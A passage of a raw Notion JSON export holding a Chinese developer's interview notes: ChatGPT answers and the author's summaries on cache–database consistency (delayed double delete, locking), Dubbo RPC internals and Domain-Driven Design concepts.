双写不一致:",[["b"]]]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ed7a22d4-4fb4-4a8a-9380-9f05f4b15404":{"value":{"id":"ed7a22d4-4fb4-4a8a-9380-9f05f4b15404","type":"text","properties":{"title":[["双写不一致是指应用先将数据写入数据库,然后再写入缓存,这期间数据可能会出现不一致的情况。解决方案是使用消息队列,将需要写入的数据写入消息队列,然后由消费端去更新数据库和缓存,保证了顺序性。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d3aba15b-095d-416d-badb-aa7f0aa79eeb":{"value":{"id":"d3aba15b-095d-416d-badb-aa7f0aa79eeb","type":"text","properties":{"title":[["以上这些方法并不能保证完全的一致性,只能在一定程度上降低不一致的可能性。在某些对一致性要求非常高的场景下,可能需要牺牲一些性能,采取更加严格的一致性策略。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d3b9335c-d396-4f37-9f71-16c73430de64":{"value":{"id":"d3b9335c-d396-4f37-9f71-16c73430de64","type":"divider","format":{"copied_from_pointer":{"id":"e3648d0a-8f62-4525-828a-aa38ab6bea3f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556494579,"last_edited_time":1712556494582,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"e3648d0a-8f62-4525-828a-aa38ab6bea3f"}},"1679a121-58c9-4910-b66b-994c2999fab2":{"value":{"id":"1679a121-58c9-4910-b66b-994c2999fab2","type":"text","format":{"copied_from_pointer":{"id":"93798a96-651f-4c53-8e4f-fe95eb18029b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712595808705,"last_edited_time":1712595808705,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e0aec8b1-4f7d-4383-a179-29ce91ad649d":{"value":{"id":"e0aec8b1-4f7d-4383-a179-29ce91ad649d","type":"quote","properties":{"title":[["读写一致性的解决方案,你提供的是旁路缓存的模式,但是删除缓存到数据库落库还有一段时间有可能会重新生成缓存,还需要延时双删"]]},"created_time":1712595809971,"last_edited_time":1712595823888,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"65625213-288e-476e-9d1a-67ef298b83e0":{"value":{"id":"65625213-288e-476e-9d1a-67ef298b83e0","type":"text","properties":{"title":[["你说得很对,\"先删除缓存,再更新数据库\"的原则确实存在问题,这是因为在删除缓存后,到数据库更新结束这段时间内,如果有其他线程查询这个数据,会查询不到缓存,然后去数据库查询到旧数据并将旧数据写入缓存,这样当数据库更新完成后,缓存中的数据还是旧的,这就出现了数据不一致的情况。"]]},"created_time":1712595829075,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0c6fb3ad-96ad-4810-8562-a871cba5f18e":{"value":{"id":"0c6fb3ad-96ad-4810-8562-a871cba5f18e","type":"text","properties":{"title":[["目前,针对这个问题,一种比较成熟的解决方案是“延时双删”,具体步骤如下:"]]},"created_time":1712595829075,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a1bed919-3ddf-45b2-9510-fe8fa9d4c76f":{"value":{"id":"a1bed919-3ddf-45b2-9510-fe8fa9d4c76f","type":"numbered_list","properties":{"title":[["先删除缓存"]]},"created_time":1712595829075,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9aac1b04-c473-4623-8583-63bd5814942e":{"value":{"id":"9aac1b04-c473-4623-8583-63bd5814942e","type":"numbered_list","properties":{"title":[["再更新数据库"]]},"created_time":1712595829075,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"59f3ab0a-7af8-4017-9409-411f7fab3467":{"value":{"id":"59f3ab0a-7af8-4017-9409-411f7fab3467","type":"numbered_list","properties":{"title":[["等待一段时间(比如100ms),再次删除缓存"]]},"created_time":1712595829076,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"54a10feb-eb82-4f0d-b8b2-f47380d85ca4":{"value":{"id":"54a10feb-eb82-4f0d-b8b2-f47380d85ca4","type":"text","properties":{"title":[["这种方法的基本思想是:因为可能会有其他线程在这段时间内把数据库旧数据查询出来并且写入缓存,所以通过等待一段时间后再次删除缓存,以此来保证缓存中的数据是最新的。"]]},"created_time":1712595829076,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"cd558360-d8c9-4e94-a9e9-5763359bcab5":{"value":{"id":"cd558360-d8c9-4e94-a9e9-5763359bcab5","type":"text","properties":{"title":[["然而,这种方案并不能完全解决问题,因为这个等待的时间并不能保证是最优的,这个时间长了可能会导致缓存利用率下降,时间短了可能会导致数据不一致。但是在实际操作中,这种方案可以在一定程度上缓解读写一致性问题。"]]},"created_time":1712595829076,"last_edited_time":1712595829080,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"178eca01-4476-47a5-9f09-71f182055321":{"value":{"id":"178eca01-4476-47a5-9f09-71f182055321","type":"divider","created_time":1712595833762,"last_edited_time":1712595833763,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"be768174-9882-4675-9ce2-3225d6b821e9":{"value":{"id":"be768174-9882-4675-9ce2-3225d6b821e9","type":"text","created_time":1712595834197,"last_edited_time":1712595834197,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"aa760448-48c4-405c-a1e0-6331b4e58ef4":{"value":{"id":"aa760448-48c4-405c-a1e0-6331b4e58ef4","type":"quote","properties":{"title":[["追求强一致性就要加锁了,性能牺牲太大"]]},"created_time":1712595836766,"last_edited_time":1712595865451,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c15e9201-afbe-45c0-8ef2-f404b0060e97":{"value":{"id":"c15e9201-afbe-45c0-8ef2-f404b0060e97","type":"text","properties":{"title":[["是的,你的理解是正确的。在计算机科学中,一致性和性能往往是一对矛盾的存在。强一致性意味着系统的每一次读操作都将返回最新的写操作结果,这就需要在读写操作之间加锁以确保操作的顺序性,但这样做会极大地牺牲系统的性能。"]]},"created_time":1712595871344,"last_edited_time":1712595871348,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"58b0a2ca-a5b6-496b-9ae2-763a0764f01e":{"value":{"id":"58b0a2ca-a5b6-496b-9ae2-763a0764f01e","type":"text","properties":{"title":[["在实际应用中,我们往往会根据业务需求在一致性和性能之间做出权衡。对于一些对数据一致性要求非常高的业务,我们可能会选择牺牲一部分性能来确保数据的强一致性。反之,对于一些对性能要求非常高,而对数据一致性要求相对较低的业务,我们可能会选择牺牲一部分数据一致性来提高系统的性能。"]]},"created_time":1712595871344,"last_edited_time":1712595871348,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"cfc62533-db26-4ff1-bf5a-370ba47259d2":{"value":{"id":"cfc62533-db26-4ff1-bf5a-370ba47259d2","type":"text","properties":{"title":[["另外,对于缓存一致性问题,除了上述的一些解决方案,还有一些其他的技术可以帮助我们,如读写分离、分布式锁等。这些技术在不同的业务场景下有着不同的应用,可以根据具体的业务需求选择合适的方案。"]]},"created_time":1712595871344,"last_edited_time":1712595871348,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"09b7a032-42a4-4f07-a749-a178b90432c7":{"value":{"id":"09b7a032-42a4-4f07-a749-a178b90432c7","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"93798a96-651f-4c53-8e4f-fe95eb18029b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556494579,"last_edited_time":1712556565414,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"93798a96-651f-4c53-8e4f-fe95eb18029b"}},"e6def999-3fef-48a6-a0c7-6e423ff0fcef":{"value":{"id":"e6def999-3fef-48a6-a0c7-6e423ff0fcef","type":"bulleted_list","properties":{"title":[["缓存击穿可以用双重检查锁"]]},"format":{"copied_from_pointer":{"id":"dc0bcb1b-b278-48e8-bf28-546af8288389","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556494580,"last_edited_time":1712595536913,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"dc0bcb1b-b278-48e8-bf28-546af8288389"}},"3c95889d-8816-49af-be7e-87fa60cca209":{"value":{"id":"3c95889d-8816-49af-be7e-87fa60cca209","type":"bulleted_list","properties":{"title":[["旁路缓存+延时双删"]]},"created_time":1712595537080,"last_edited_time":1712595885707,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e989ef8e-ba36-4492-8bf7-c800ea215133":{"value":{"id":"e989ef8e-ba36-4492-8bf7-c800ea215133","type":"bulleted_list","properties":{"title":[["上面方案还是很小几率不一致,就需要加锁了。这个要业务容忍程度"]]},"created_time":1712595888712,"last_edited_time":1712595930408,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2b30fdea-aaf6-4f18-b21f-3d0d6444da73":{"value":{"id":"2b30fdea-aaf6-4f18-b21f-3d0d6444da73","type":"text","format":{"copied_from_pointer":{"id":"e9457161-c188-4226-a1fa-76324a0ab93e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556510791,"last_edited_time":1712556510791,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a4a15b3a-2715-4e44-8c7b-8b6abbb59152":{"value":{"id":"a4a15b3a-2715-4e44-8c7b-8b6abbb59152","type":"sub_header","properties":{"title":[["10.Dubbo底层理解"]]},"format":{"copied_from_pointer":{"id":"e9457161-c188-4226-a1fa-76324a0ab93e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556240312,"last_edited_time":1712556730406,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"e9457161-c188-4226-a1fa-76324a0ab93e"}},"10d6f3e2-726a-4f7c-8f2c-d78b5a0bd9e3":{"value":{"id":"10d6f3e2-726a-4f7c-8f2c-d78b5a0bd9e3","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"55c4dd0a-8dea-4699-ae95-926bd9cab471","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556511132,"last_edited_time":1712594525284,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"55c4dd0a-8dea-4699-ae95-926bd9cab471"}},"1de1c413-de15-483c-a600-8ecb0798aa07":{"value":{"id":"1de1c413-de15-483c-a600-8ecb0798aa07","type":"quote","properties":{"title":[["谈谈你对Dubbo底层理解"]]},"format":{"copied_from_pointer":{"id":"91e31a11-07f1-4df3-9c0c-d32bcf7227cc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556511132,"last_edited_time":1712595155137,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"91e31a11-07f1-4df3-9c0c-d32bcf7227cc"}},"47d28b5a-3335-4ca5-93ea-fb6f7ad2ae15":{"value":{"id":"47d28b5a-3335-4ca5-93ea-fb6f7ad2ae15","type":"text","properties":{"title":[["Dubbo是一种高性能的Java RPC框架,它使用了许多高级技术和设计模式来实现其性能和可扩展性。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"660dd60b-81f9-48a7-85a6-fa38ad3cdf58":{"value":{"id":"660dd60b-81f9-48a7-85a6-fa38ad3cdf58","type":"numbered_list","properties":{"title":[["服务提供者和消费者模型",[["b"]]],[":Dubbo使用了服务提供者和消费者模型。服务提供者提供服务并注册到注册中心,服务消费者从注册中心订阅服务并发起调用请求。这种模型使得服务的提供者和消费者可以在不知道对方的情况下进行通信。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4d53bb8a-ba19-4874-ba44-e308227b8170":{"value":{"id":"4d53bb8a-ba19-4874-ba44-e308227b8170","type":"numbered_list","properties":{"title":[["负载均衡",[["b"]]],[":Dubbo内部实现了多种负载均衡算法,如随机、轮询、最少活跃调用、一致性Hash等。当服务消费者从多个服务提供者中选择一台进行调用时,会根据负载均衡策略进行选择。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1d06df64-fa33-47db-9dd1-7d21670175f8":{"value":{"id":"1d06df64-fa33-47db-9dd1-7d21670175f8","type":"numbered_list","properties":{"title":[["服务路由和过滤",[["b"]]],[":Dubbo支持自定义路由规则和过滤器,可以对服务调用进行灵活的控制。例如,可以根据服务提供者的IP或者服务消费者的应用名进行路由,或者在服务调用前后进行特定的处理。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"bf2aebe2-92f8-4556-a0ec-ec01bd2e16ef":{"value":{"id":"bf2aebe2-92f8-4556-a0ec-ec01bd2e16ef","type":"numbered_list","properties":{"title":[["异步通信",[["b"]]],[":Dubbo支持异步调用,消费者无需同步等待服务调用的结果,可以提高系统的并发处理能力。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3fa6de04-3680-44ff-8148-57a55db46d87":{"value":{"id":"3fa6de04-3680-44ff-8148-57a55db46d87","type":"numbered_list","properties":{"title":[["协议和序列化",[["b"]]],[":Dubbo支持多种协议(如Dubbo、HTTP、Thrift等)和序列化方式(如Hessian、Java、Kryo、FST等),可以根据实际需求进行选择。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9a29da8c-c945-4f42-9577-3fdcd38af933":{"value":{"id":"9a29da8c-c945-4f42-9577-3fdcd38af933","type":"text","properties":{"title":[["底层实现层面,Dubbo主要是基于Netty来实现网络通信,利用Java的NIO(非阻塞IO)来处理高并发的网络请求。同时Dubbo也使用了线程池来并发处理服务调用,提高系统的吞吐量。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"89264c00-5407-49b3-8525-812994752253":{"value":{"id":"89264c00-5407-49b3-8525-812994752253","type":"text","properties":{"title":[["以上是我对Dubbo的一些理解,如果你有任何问题或者想要深入了解某个部分,欢迎随时向我提问。"]]},"created_time":1712595179099,"last_edited_time":1712595179104,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7fbae67b-78d1-40d1-a68c-fd984e349cca":{"value":{"id":"7fbae67b-78d1-40d1-a68c-fd984e349cca","type":"divider","format":{"copied_from_pointer":{"id":"d3b9335c-d396-4f37-9f71-16c73430de64","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556511132,"last_edited_time":1712556511134,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"d3b9335c-d396-4f37-9f71-16c73430de64"}},"a7455e62-6660-482e-ba23-e534b11c3008":{"value":{"id":"a7455e62-6660-482e-ba23-e534b11c3008","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"09b7a032-42a4-4f07-a749-a178b90432c7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556511132,"last_edited_time":1712556568014,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"09b7a032-42a4-4f07-a749-a178b90432c7"}},"fa769d98-f4f3-4506-874a-e14e3ae3d5e9":{"value":{"id":"fa769d98-f4f3-4506-874a-e14e3ae3d5e9","type":"bulleted_list","properties":{"title":[["01-贝壳中说了dubbo的对比springcloud"]]},"format":{"copied_from_pointer":{"id":"e6def999-3fef-48a6-a0c7-6e423ff0fcef","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556511132,"last_edited_time":1712595206394,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"e6def999-3fef-48a6-a0c7-6e423ff0fcef"}},"39bd2e2d-27ac-4362-9791-ddd9a5469d1f":{"value":{"id":"39bd2e2d-27ac-4362-9791-ddd9a5469d1f","type":"bulleted_list","properties":{"title":[["底层用的netty,NIO模型,线程池模型,这个太底层了,要细聊还是要看代码"]]},"format":{"copied_from_pointer":{"id":"1d79ce45-1106-4ab6-b13f-642ba2b2c52a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712594506172,"last_edited_time":1712595247303,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"1d79ce45-1106-4ab6-b13f-642ba2b2c52a"}},"996704a5-d3f2-4c14-8574-d8078b218b30":{"value":{"id":"996704a5-d3f2-4c14-8574-d8078b218b30","type":"sub_header","properties":{"title":[["11.DDD的理解"]]},"created_time":1712556511221,"last_edited_time":1712556734811,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7a9b4c33-20e3-458c-9bb3-9b4210ede657":{"value":{"id":"7a9b4c33-20e3-458c-9bb3-9b4210ede657","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"10d6f3e2-726a-4f7c-8f2c-d78b5a0bd9e3","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556525317,"last_edited_time":1712556525321,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"10d6f3e2-726a-4f7c-8f2c-d78b5a0bd9e3"}},"13699824-a525-4ff0-9edf-4d3111824bac":{"value":{"id":"13699824-a525-4ff0-9edf-4d3111824bac","type":"quote","properties":{"title":[["谈谈你对DDD的理解"]]},"format":{"copied_from_pointer":{"id":"1de1c413-de15-483c-a600-8ecb0798aa07","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556525318,"last_edited_time":1712594993862,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"1de1c413-de15-483c-a600-8ecb0798aa07"}},"f0ff9bed-ae72-4e84-9ce9-0a6f976b6160":{"value":{"id":"f0ff9bed-ae72-4e84-9ce9-0a6f976b6160","type":"text","properties":{"title":[["领域驱动设计(Domain-Driven Design,简称DDD)是一种软件开发方法论,由Eric Evans在他的书《领域驱动设计:软件核心复杂性对策》中首次提出。DDD的主要目标是在复杂的设计和模型中找到和实现业务领域的连续性。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"88dc58a8-b5c7-4f50-a9e3-a3839b637ccb":{"value":{"id":"88dc58a8-b5c7-4f50-a9e3-a3839b637ccb","type":"text","properties":{"title":[["DDD主要包含以下几个核心概念:"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"bb432472-934d-4a8e-8933-996db5b994b5":{"value":{"id":"bb432472-934d-4a8e-8933-996db5b994b5","type":"bulleted_list","properties":{"title":[["领域(Domain)",[["b"]]],[": 这是一个问题区域,我们需要在这个区域中找到解决方案。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"db0bd158-c878-4687-b13d-654a9de18cd1":{"value":{"id":"db0bd158-c878-4687-b13d-654a9de18cd1","type":"bulleted_list","properties":{"title":[["子域(Subdomain)",[["b"]]],[": 一个大的领域可以分为几个子域,每个子域都是独立的,可以单独处理和开发。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"bad1ac53-c6cb-4c06-8af8-bebbe9c6cb18":{"value":{"id":"bad1ac53-c6cb-4c06-8af8-bebbe9c6cb18","type":"bulleted_list","properties":{"title":[["限界上下文(Bounded Context)",[["b"]]],[": 这是一个显式定义的边界,它限定了特定的语义上下文,其中的模型只在这个上下文中有意义。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"58db0c21-fad6-4157-8f10-62714e1d4e50":{"value":{"id":"58db0c21-fad6-4157-8f10-62714e1d4e50","type":"bulleted_list","properties":{"title":[["领域模型(Domain Model)",[["b"]]],[": 这是一个模型,它封装了特定领域的知识和业务规则。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"46424f60-b8b7-43fd-8197-fb7ac6b3ecb8":{"value":{"id":"46424f60-b8b7-43fd-8197-fb7ac6b3ecb8","type":"bulleted_list","properties":{"title":[["实体(Entity)",[["b"]]],[": 在领域模型中有唯一标识的对象。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"af1983de-6ec6-4309-8d5f-098f070885f7":{"value":{"id":"af1983de-6ec6-4309-8d5f-098f070885f7","type":"bulleted_list","properties":{"title":[["值对象(Value Object)",[["b"]]],[": 在领域模型中没有唯一标识的对象。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d2e4efba-43c1-4c89-8024-694a7ac12630":{"value":{"id":"d2e4efba-43c1-4c89-8024-694a7ac12630","type":"bulleted_list","properties":{"title":[["聚合(Aggregate)",[["b"]]],[": 一组具有一致性边界的关联对象,由一个根实体(Aggregate Root)来管理。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9fa90bd2-4c6d-42e9-8f9a-9abc269f6736":{"value":{"id":"9fa90bd2-4c6d-42e9-8f9a-9abc269f6736","type":"bulleted_list","properties":{"title":[["领域服务(Domain Service)",[["b"]]],[": 当领域模型的某些操作无法归类到实体或值对象上时,可以定义为领域服务。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"176a8c64-8b0e-4893-ad7f-9c6d3d1eaa07":{"value":{"id":"176a8c64-8b0e-4893-ad7f-9c6d3d1eaa07","type":"bulleted_list","properties":{"title":[["领域事件(Domain Event)",[["b"]]],[": 表示领域中重要的事件,它会影响领域的状态。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d74e77bb-6737-4403-ab2d-befd9af03c09":{"value":{"id":"d74e77bb-6737-4403-ab2d-befd9af03c09","type":"bulleted_list","properties":{"title":[["仓库(Repository)",[["b"]]],[": 提供对聚合的存储和检索。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e085e9eb-7f5b-4660-80c6-b615e2baddc4":{"value":{"id":"e085e9eb-7f5b-4660-80c6-b615e2baddc4","type":"text","properties":{"title":[["DDD强调的是,我们应该尽可能地理解业务领域,并且在设计和代码中反映这个理解。这样可以使得软件更加符合业务需求,更易于维护和演进。"]]},"created_time":1712595003579,"last_edited_time":1712595003585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5c3d6abd-cddc-4cfb-9a1b-43312e37885f":{"value":{"id":"5c3d6abd-cddc-4cfb-9a1b-43312e37885f","type":"divider","format":{"copied_from_pointer":{"id":"7fbae67b-78d1-40d1-a68c-fd984e349cca","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556525318,"last_edited_time":1712556525321,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"7fbae67b-78d1-40d1-a68c-fd984e349cca"}},"e9b2019d-85bf-4f22-9603-39e9fb391ef3":{"value":{"id":"e9b2019d-85bf-4f22-9603-39e9fb391ef3","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"a7455e62-6660-482e-ba23-e534b11c3008","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556525318,"last_edited_time":1712556570583,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"a7455e62-6660-482e-ba23-e534b11c3008"}},"47fadf5e-1a5c-4954-9e18-f4ec413f9bf7":{"value":{"id":"47fadf5e-1a5c-4954-9e18-f4ec413f9bf7","type":"bulleted_list","properties":{"title":[["我其实很反感,因为需求和需求设计不可能一开始就合理,考虑到各种设计模式,熟悉的controller到service到mapper的方式,考虑到不同开发的编码习惯,很烦"]]},"format":{"copied_from_pointer":{"id":"fa769d98-f4f3-4506-874a-e14e3ae3d5e9","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556525318,"last_edited_time":1712595114455,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"fa769d98-f4f3-4506-874a-e14e3ae3d5e9"}},"858e6e83-fdcb-430e-a312-4fba35c62f16":{"value":{"id":"858e6e83-fdcb-430e-a312-4fba35c62f16","type":"text","format":{"copied_from_pointer":{"id":"c976bdb2-060f-4660-a219-b720114eeb0f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556240313,"last_edited_time":1712556534741,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"c976bdb2-060f-4660-a219-b720114eeb0f"}},"0a7ed53b-47d7-436e-abe8-868de3d4ebbe":{"value":{"id":"0a7ed53b-47d7-436e-abe8-868de3d4ebbe","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018463,"last_edited_time":1712556018463,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842":{"value":{"id":"ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842","type":"column_list","content":["7d27a0d2-8b75-4c60-8046-d473435cb46a","033f6446-49e6-454b-827d-d02c1160070b","31553aec-99ed-4d5f-891a-f806a1fd2df0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018463,"last_edited_time":1712556018463,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"5ee0d17e-46ce-4124-aa38-895caf65081b":{"value":{"id":"5ee0d17e-46ce-4124-aa38-895caf65081b","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"7d27a0d2-8b75-4c60-8046-d473435cb46a":{"value":{"id":"7d27a0d2-8b75-4c60-8046-d473435cb46a","type":"column","content":["379e9415-56f0-4144-85e7-8a5daccc2b14"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"